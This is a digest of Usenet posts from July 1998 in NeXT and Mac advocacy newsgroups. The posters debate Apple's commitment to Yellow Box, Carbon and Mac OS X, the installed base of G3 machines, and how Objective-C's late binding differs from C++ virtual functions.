As regards dropping PC support(dropping of Rhapsody/Intel after 1.0, to be
exact), I wonder what part the Microsoft investment plays here. (Which DID
help Apple, as much as I hate to say it.)
> An individual user may blow
> with the wind, but not a corporation. For corporations doing MCCA
> work - they absolutely need to know that their investiment is secure.
> And their investiment is much more than some paltry off the shelf
> software.
> It's people and code- and all the costs that go along with training, &
> paying
> them to learn how, and finally produce that code.
>
True, but that was the strong point of YB,wasn't it?
> If YB went away - it absolutely devistates them.
Absolutely,but will it? That is what I was driving at.
> Will YB go away
> the problem is no-one can say with certianty. Hell no-one
> can say anything with certianty. But many people are fairly
> certian Microsoft will be here for the next 5 years, or Linux,
> can they say that about Apple. If Apple were to make a all
> or nothing commitment to YB they'd have a lot more going
> in that direction.
> But when they water it down with Carbon
> (legacy man, legacy - I understand this move well - and it
> was long over due), and Java, and spary on the fire extingusher
> by telling everyone you have to buy G3 to have YB on Mach..
>
> You get a real limp lukewarm reception.. What is clear is
> Apple is hedging all its bets when it should be pushing
> forward very strongly on all fronts..
>
> Let people know YB is where they want them to be in 5-10 years.
> Let them know Carbon is Apple listening to developers for
> a transition period, along with a gained understanding of the
> investiment they have in their existing codebases..
> Let people know that you are confidant that G3 hardware
> IS and WILL CONTINUE to be the best hardware to run
> MacOS X on by supporting a PC version.
> Spread the message to MCCA - that we made a mistake
> saying we'd drop MacOS X on PC - and that we havn't
> been clear about YB - and therefore the products that
> rely on it (EOF, WO, Developer tools)
This is probably the point,where my denial sets in:
1) Tools = Developer's heaven
2) EOF = Creme de la creme
3) WO = Excellent (as far as the first two Tutorials have shown me)
4) not to forget of course: the whole architecture = marvellous
Can they kill all this? They can't possibly!!!
(Or can they?.....I am confused)
I am clinging to the understanding that the place is now run mainly by
ex-NeXTers (including Jobs) and the hope that they won't backstab their own
brain-child.
Now that you mention it, it *is* odd that they failed to adress the
traditional NeXT clientel,MCCA(Multiple Client Custom Applications is what I
suppose you mean) is what YB cries for.
> Tell everyone that Java is not YB - but that Java is
> important - so much so that Apple believes it will
> have the preimere Java Devleopment platform
> in the coming months/years. And in fact have
> THE preimere Java, YB, Windows development
> platform.
> Let everyone know that Apple is not going away,
> and they are not afraid of the MS/Intel juggernaut.
If you look at the recent adds, Apple's not afraid. (YB future is, I still
believe, closely linked to Apple's hardware success.)
> Even a little virus can take down a human - can you
> say YB for windows (now there's a little virus)..
>
> These are things that in my mind Apple is failing miserably
> at. It is all well and good to placate and recharge your existing
> and shrinking community - but you must send such a strong
> bolt to your customers where a huge potential for growth
> is as to energize them - and the masses - not to just
> "Think Different" but to "Act Different"
>
*Official* support is somwhat watered down by Carbon,etc. , I can see that,
but the question is, whether this will really result in abolition of YB.
Hell, what else do they have to go on?
They renamed Rhapsody MacOS X/Server.If only psychological,still one tiny
step into the direction you are proposing.
> That is what Advocacy is all about IMHO.
Allright, I got the message :)
>
> Randy
<SNIP -- signature>
Christian Benesch
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 21:30:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D2CFC6-CD278@206.165.43.119>
References: <6oie2v$h7g$3@server.signat.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <6oglng$ft8$1@news.digifix.com> Scott Anguish wrote:
>> The YB runtime issues lie squarely in the realm of Adobe
>
> Not for long, one hopes.
>
>> to a lesser extent the Unisys LZW patent.
>
> Same here, doesn't PDF avoid this issue?
>
How? Unless Apple pays royalties to Adobe in order to use LZW, how does PDF
avoid the issue?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 21:42:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D2D2AB-D80AC@206.165.43.119>
References: <6oj92v$6d9$1@news.spacelab.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Charles W. Swiger <chuck@codefab.com> said:
>Michael Peck <Michael.Peck@ericsson.com> wrote:
>>Charles W. Swiger wrote:
>[ ... ]
>>But Chuck, I have to point out that this is not about advocating one
>>thing or another. Everybody here wants Yellow Box.
>
>Everyone? The former NeXT people certainly do, and many of the Mac
>developers who have been exposed to it have had very positive reactions.
>Other people, including more traditional Mac developers, don't seem to
care
>one way or the other...so long as what they see as "the real MacOS"
doesn't
>change much.
>
It really depends on who your target audience is, doesn't it? If you have
(or want to have) customers that are still using 68K boxes or even pre-G3
boxes, you likely don't want to leave them in the cold. Carbon *sorta*
allows developers to continue to support older boxes, but YB would force
developers to abandon, not just 68K boxes, but the majority of all PPC Mac
users.
I you don't have a history with MacOS customers, YB offers a larger market.
If you do, YB cuts your established market by at least 90% and Carbon might
cut it by at least 50% if you're not careful.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 98 11:30:16
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul15113016@slave.doubleu.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
<6og17t$73c2@odie.mcleod.net>
<yHMq1.3729$24.21350185@news.itd.umich.edu>
In-reply-to: not@my.address.net's message of Tue, 14 Jul 1998 17:37:34 GMT
In article <yHMq1.3729$24.21350185@news.itd.umich.edu>,
not@my.address.net writes:
On 07/14/98, "Michelle L. Buck" wrote:
>There are exactly 2 engineers working part time on Interface
>Builder and Project Builder. Those two tools constitute the
>entire IDE. Does that sound like strong support ? The total
>number of Apple engineers working on anything related to YellowBox
>is less than 30 and possibly less than 10.
That's cause for concern. BANG sometimes keeps minutes of its
meetings on the web. I think I recall reading that Dr. Ernie P.
(Product Manager for Rhapsody, if I remember right) had said a few
months ago that there were now more engineers working on the
YellowBox frameworks at Apple than there had ever been at NeXT.
Actually, I'm not sure these are contradictory excerpts. NeXT
probably never did have many more than 30 engineers working on the
AppKit and kin. It was only like a 200 person company, and after you
factor out sales, marketting, human resources, documentation,
sysadmin, management ... well, 30 real engineers wouldn't be bad.
In any event, maybe resources are limited and it's a question of
what's urgent (porting the Carbon API to MacOSX) as opposed to
what's important (continued development of the already very refined
YellowBox frameworks).
Perhaps the resources are being deployed based on what's hard as
opposed to what's easy?
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 15 Jul 98 11:16:35
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul15111635@slave.doubleu.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com>
<SCOTT.98Jul13153549@slave.doubleu.com>
<SCOTT.98Jul14141739@slave.doubleu.com>
<6oikd3$hm4$1@msunews.cl.msu.edu>
In-reply-to: spammers@ruin.the.internet.channelu.com's message of 15 Jul 1998 16:12:19 GMT
In article <6oikd3$hm4$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com writes:
Kind of an interesting idea I think. Though I think the articles
would be a bit much.
I'm thinking articles about progress and implementation details.
_Any_ development project requires periodic feedback to those paying
for the development. While we're at it, why not package them up into
a quarterly mailing? Any developer who can't toss off a couple pages
on their current project either isn't interested in their current
project, or isn't able to write prose. Either case is somewhat of a
reason not to have them on the project, since we'll need interested
people who are willing to document their code.
BTW, I'm not talking a glossy newsletter, here. You might
_distribute_ it via the web or email.
I think better would be to take the money generated by the club and
offer prizes to the people who implement a particular features.
The best way to work it would be to let the people working on the
GNUstep/Linux project nominate individuals who they think should
get the prize money for a particular category - then we the
NeXTclub members would vote on the feature that gets top prize,
second etc.
In my experience, that wouldn't be very workable. Too much of the
really worthwhile stuff in the AppKit isn't really a "feature" in any
sense that an end-user would appreciate. Of course, since I was
thinking in terms of _programmers_ and hard-core end-users, perhaps
that's less of a problem.
Better might be to have the people doing the actual work identify a
set of things that need to be done - and let the member vote on
_that_. Better yet might be to let members _bid_ on the work to be
done...
Even with $1 you can participate - I think that could work as $100
is too much to ask of many folks. Let people support the endeavor
to the level they desire.
That's great, but collecting $100 from 5000 people is significantly
easier than collecting $5 from 100,000 people. If the interest really
was in dropping the entry cost, then I'd rather restructure it as
something like shareware, or how GNU started out, where you send in
your $50 and get a CD in return (GNU used tapes back then).
I'm looking at the $100 subscription as a means of quickly getting
momentum going. In my experience, if someone can't pull out $100 for
something like this immediately, allowing lower levels of
participation just means that they'd send $25 - two years too late.
I'm not saying their interest isn't valid if they can't afford $100 -
I'm saying that their interest doesn't really make much difference if
they can't leverage it, say by convincing their boss or coworker or
mother to send $100. This is the type of thing that wouldn't fly if
it's going to take 18 months to get enough funding to start.
If all you want to do is support development, well, then, you could
just send however much money you want in. The $100 is just to become
part of "the club", the rest of the money just goes into the pot.
[I just pulled $100 out of thin air. Realistically, you'd need some
people/companies willing to pop in at $500-$2000,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 16 Jul 98 00:25:16
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul16002516@slave.doubleu.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com>
<SCOTT.98Jul13153549@slave.doubleu.com>
<SCOTT.98Jul14141739@slave.doubleu.com>
<6oikd3$hm4$1@msunews.cl.msu.edu> <35AD523C.14E2813E@cloud9.net>
In-reply-to: Andrew Weiss's message of Wed, 15 Jul 1998 21:07:08 -0400
In article <35AD523C.14E2813E@cloud9.net>,
Andrew Weiss <ajwdsp@cloud9.net> writes:
Better yet, Why not just band all the Apple Enterprise users
together (those who feel positive towards Rhapsody/Intel), and all
the NeXT users and OpenSTEP corporations, and pressure Apple... I
know pressure is being applied, but how about suing for lack of an
upgrade path, and the penalty is legal-fees, and an upgrade path...
I don't know if this would work, but lots of people sue companies
for not making old legacy apps Y2k even though there is a new
version that is Y2k because of the integration of the older
version.
That's just throwing good money after bad. Take the money that would
be used to get the legal ball rolling, throw in the zeal necessary to
see such a lawsuit through, and we could just _write_ the damn thing.
If Apple insists on being adversarial with their customers, so be it.
Being adversarial right back will _not_ improve things for the
customer in the end. You'll either end up with a broken company that
can't do what you wanted it to do, or you'll end up with an angry
company with every reason not to do what you wanted it to do. Either
way, you lose.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 16 Jul 1998 00:42:02 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35AD92AA.D633005E@nstar.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net>
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Andrew Weiss wrote:
>
> John, I used to read your web pages and articles, and I thought they
> were great...Pardon me for asking, but WHAT EXACTLY DO YOU LIKE? Just
> NeXT's UI? You seem to insult everything from Win 3.1-->, MacOS, OS/2,
> UNIX/X...and I think even NeXT's own UI.
John thinks everything sucks. He's said so before, and he thinks that
UIs have a long way to go before they've earned his approval. That's a
fair position to take, in my opinion, even though it tends to make him
somewhat immune to criticism wherever he goes (*wink*).
John has said that the NeXT UI is the UI that sucks the least. In fact,
the only thing on which I would disagree with John is how much he hates
the Mac UI. I don't really understand that, but I think he's mostly
right on everything else. Most UIs do suck, and there's ample reason to
be critical.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Thu, 16 Jul 1998 08:06:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6okcan$mue$1@nnrp1.dejanews.com>
References: <35AA8501.CF6AAF27@nospam.com> <35AC0107.29F81818@alum.mit.edu> <6ogvfj$opt$2@lwnws01.ne.highway1.com> <us51zrn3j22.fsf@ai.mit.edu> <6oh8n7$4vu$1@camel21.mindspring.com> <6oi465$5q5$1@nnrp1.dejanews.com> <35ad4d6b.21113230@news.v-wave.com>
In article <35ad4d6b.21113230@news.v-wave.com>,
jking@nospam-donelonking.com wrote:
> The reason Visual C++ dominates the market is because Windows
> programming is hard, tedious, and ugly without MFC. Go try and make an
> OLE control without MFC.
You can also use Borland C++ and Codewarrior to develop MFC applications. And
there are a wide variety of tools that are better than MFC for developing
windows applications. OpenStep might have been a player if NeXT had marketed
it more effectively.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: PC Magazine Apple Poll
Date: Thu, 16 Jul 1998 01:36:20 -0700
Organization: Digital Universe Corporation
Message-ID: <35ADBB84.71CFB29@alum.mit.edu>
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NNTP-Posting-Date: 16 Jul 1998 08:36:33 GMT
http://www.pcmagazine.com
How do you regard Apple today?
Reborn. Steve Jobs has whipped it into shape. 333 (20%)
Surviving. It has a future in graphics and education. 491 (29%)
Struggling. It's already lost all the big battles. 878 (52%) *
* As Cartman was say, "Those son's a-bitches!"
Eric
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 16 Jul 1998 08:42:18 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6okeda$rej$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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schuerig@acm.org (Michael Schuerig) writes:
><doylep@my-dejanews.com> wrote:
>> In article <6o32eu$ljg1@odie.mcleod.net>,
>> "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>> >
>> > Objective-C postpones binding until runtime. C++ by specification has bound
>> > all member function invocations at link time. If you do not know what the
>> > advantages of LATE binding are, I suggest further investigation. Binding
>> > time has little or no impact of code maintainability except the positive
>> > impact derived from fewer classes and simpler design.
>>
>> I'm not sure I understand. C++ virtual functions are not bound to an
>> implementation until runtime. What is the difference between this and the
>> late binding you are referring to?
>C++ virtual functions are (usually) bound through fixed indexes into
>function pointer arrays. Objective-C methods are bound through
>associative lookup of selectors in tables.
>The main difference is that in Objective-C you can change the table at
>runtime. Or, rather, you don't have to know at compile-time what exactly
>is in the table.
Good summary. It goes a little further than that, in that there
doesn't even have to be a table at all.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <Vxjr1.13070$h42.2568748@news.axxsys.net>
Control: cancel <Vxjr1.13070$h42.2568748@news.axxsys.net>
Date: 16 Jul 1998 09:16:06 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.Vxjr1.13070$h42.2568748@news.axxsys.net>
Sender: casey1@adelphia.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 08:34:59 GMT
Organization: the unstoppable code machine
Message-ID: <6okdvj$puc$1@leonie.object-factory.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com>
<not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com>
<not-1407982242490001@1-43.phx.psn.net> <6oif1k$h7g$5@server.signat.org>
<35ACCF02.B825A5B9@ericsson.com>
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Michael Peck wrote:
> mmalcolm crawford, where is this "caring NeXT community" you once told
> me about? I don't see any of that these days. Maybe it would be nice to
> turn back the clock two years...
Look harder. Or in different places.
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 09:02:38 GMT
Organization: the unstoppable code machine
Message-ID: <6okfje$puc$2@leonie.object-factory.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
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Lars Träger wrote:
> <not@my.address.net> wrote:
> > On 07/11/98, "Michelle L. Buck" wrote:
> > >
> > >there will never be
> > >enough YellowBox installations to support high quality horizontal
> > >applications.
> >
> > I don't see why. Any machine that runs Max OS X will host the yellow box
> > runtime. And if the windows runtime is free, it can be distributed
> > transparently with any horizontal app that ships.
>
> Bingo! If you want to write apps for the Mac, would you chose an API
> that runs on Wintel but not on a large number of Macs still in use, the
> 68ks?
Why would anybody in their right mind write an app *only* for 'the Mac'?
As a german, you should know how much of a bad reputation Apple has over
here, and how you're considered to be some kind of leper or idiot if you
don't use The Standard(TM). The fact that my programs (will) run on a
supported Apple computer is a nice side effect. If it weren't for my Apple
shares (which just paid for a shiny new PII upgrade - thanks Steve! :-)
and long time YB/WebObjects/EOF investments (personal and professional)
I really couldn't care less if the company went away overnight. I'm not
interested in any 'consumer level' products *at all*.
Holger
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ode to Yellow Box
Date: 16 Jul 1998 10:01:41 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6okj25$kl4$1@sun27.hrz.tu-darmstadt.de>
References: <35AC888A.442D4C86@alum.mit.edu> <6ojh8k$368$1@uuneo.neosoft.com>
rlove@antispam.neosoft.com (Robert B. Love ) wrote:
>I seem to remember Dr. Ernie writing several little ditties to
>celebrate things NeXTian. I wonder if he still does in his current
>job?
when he's not D-bunking :-)
I hope he'll have another song for us soon
Best wishes, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 16 Jul 1998 09:10:23 GMT
Organization: the unstoppable code machine
Message-ID: <6okg1v$puc$3@leonie.object-factory.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net>
<6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de>
<1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net>
<6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de>
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Michael Schuerig wrote:
> C++ virtual functions are (usually) bound through fixed indexes into
> function pointer arrays. Objective-C methods are bound through
> associative lookup of selectors in tables.
> The main difference is that in Objective-C you can change the table at
> runtime. Or, rather, you don't have to know at compile-time what exactly
> is in the table.
Nor should you have to know - it's not your business. I think Microsoft
has a patent on vtable layout because they needed it to be standardized
for COM. Would it be possible to patch vtables at runtime? I remember
from times long gone (when I still thought that C++ was an acceptable
programming language) that some people were trying to dynamically
change vtable entries in order to do method swizzling (kinda like
replacing the IMP in ObjC terms).
Holger
Date: Thu, 16 Jul 1998 06:31:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1607980631130001@elk63.dol.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <6okfje$puc$2@leonie.object-factory.com>
In article <6okfje$puc$2@leonie.object-factory.com>,
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
> Why would anybody in their right mind write an app *only* for 'the Mac'?
Maybe because the return on investment is greater for Mac apps?
Or maybe because there's less competition?
Or maybe because, once they receive a satisfactory income, the value of
doing something they enjoy is greater than the value of the extra money?
Or maybe because they want to spend their time writing apps and not
playing tech support guru?
Or any number of other reasons.
Just because _you_ don't want to write Mac only apps doesn't make it
stupid to do so.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dc9e2g.1vwcgsl1tv71hcN@dialup184-3-49.swipnet.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com> <not-1507981748580001@5-45.phx.psn.net>
Organization: pv
Date: Thu, 16 Jul 1998 10:41:41 GMT
NNTP-Posting-Date: Thu, 16 Jul 1998 12:41:41 MET DST
Michael M. Eilers <not@a.valid.email.add> wrote:
> In article <6ojb7i$90f$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
>> But there is no way that Apple can claim that MacOS 8 is their next
>> generation operating system. It isn't even as revolutionary as the
>> change from System 6 + multifinder -> System 7.
>
> You haven't seen an 8.5 beta or read the articles about it on MacNN
> Reality, then. 8.5 is a totally next generation operating system, a
> wuantum leapy beyond even 8.1. It will keep us very happy while we are
> waiting for Mac OS X, trust me.
It's the same old Mac OS deep down under, just optimized a bit with some
flashy additions at the surface. The problem with old Mac OS is not what
you see, the UI. The problem is the foundation deep down under.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
Date: Thu, 16 Jul 1998 06:53:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-1607980653260001@elk63.dol.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oj7pn$2j7$1@nnrp1.dejanews.com>
In article <6oj7pn$2j7$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-1507980648180001@elk60.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > It wouldn't be much of a debate.
> >
> > Which OS has the highest productivity?
> > Which OS has the best ease of use?
> > Which OS has the lowest TCO?
> >
> > The answer to all of these is "Mac OS". That's working well in my book.
>
> Joe, I can't believe how often you make these three claims without qualifying
> them. Obviously, these "facts" only apply when you are performing certain
> tasks. Or, do you believe that the Mac OS has the highest productivity when
> rendering 3D graphics for film, the best ease of use when developing real time
> software, and the lowest TCO when running as a high volume web server? And,
> BTW, what operating systems where considered when the study that you are
> refering to was done?
Only your last complaint is valid. The studies, AFAIK, were limited to
DOS, Win3.1, Win95, and WinNT. OS/2 might have been included, but I doubt
it. Other OSs were not included. I'm not aware of any studies involving
other OSs. Unless you have some available, we'll have to consider that an
unsettled issue.
As for "what you're doing" making a difference, you're right in theory. In
practice, the Mac comes out ahead of every form of Windows in every test
that's thrown at it--from a detailed study of 30,000 graphics
professionals to a kid and her dog against an experienced Windows user in
set up time ;-). When the Mac comes out so far ahead in every comparison,
you can take it as a general statement.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 11:02:14 GMT
Organization: P & L Systems
Message-ID: <6okmjm$10j$2@ironhorse.plsys.co.uk>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net>
